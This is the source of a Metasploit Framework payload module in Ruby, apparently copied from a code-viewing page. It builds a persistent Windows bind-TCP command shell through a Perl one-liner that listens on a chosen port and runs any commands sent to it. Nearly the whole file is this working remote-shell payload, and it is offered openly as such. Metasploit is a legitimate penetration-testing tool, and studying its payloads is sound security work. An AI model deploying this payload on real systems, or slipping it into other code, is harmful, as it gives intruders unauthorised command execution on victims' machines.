Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 139
10

11
  include Msf::Payload::Single
12
  include Msf::Sessions::CommandShellOptions
13

14
  def initialize(info = {})
15
    super(merge_info(info,
16
     'Name'          => 'Windows Command Shell, Bind TCP (via Perl)',
17
     'Description'   => 'Listen for a connection and spawn a command shell via perl (persistent)',
18
     'Author'        => ['Samy <samy[at]samy.pl>', 'cazz', 'aushack'],
19
     'License'       => BSD_LICENSE,
20
     'Platform'      => 'win',
21
     'Arch'          => ARCH_CMD,
22
     'Handler'       => Msf::Handler::BindTcp,
23
     'Session'       => Msf::Sessions::CommandShell,
24
     'PayloadType'   => 'cmd',
25
     'RequiredCmd'   => 'perl',
26
     'Payload'       =>
27
       {
28
         'Offsets' => { },
29
         'Payload' => ''
30
       }
31
    ))
32
    register_advanced_options(
33
      [
34
        OptString.new('PerlPath', [true, 'The path to the Perl executable', 'perl'])
35
      ]
36
    )
37
  end
38

39
  #
40
  # Constructs the payload
41
  #
42
  def generate(_opts = {})
43
    return super + command_string
44
  end
45

46
  #
47
  # Returns the command string to use for execution
48
  #
49
  def command_string
50

51
    cmd = "#{datastore['PerlPath']} -MIO -e \"while($c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}\""
52

53
    return cmd
54
  end
55
end
56

57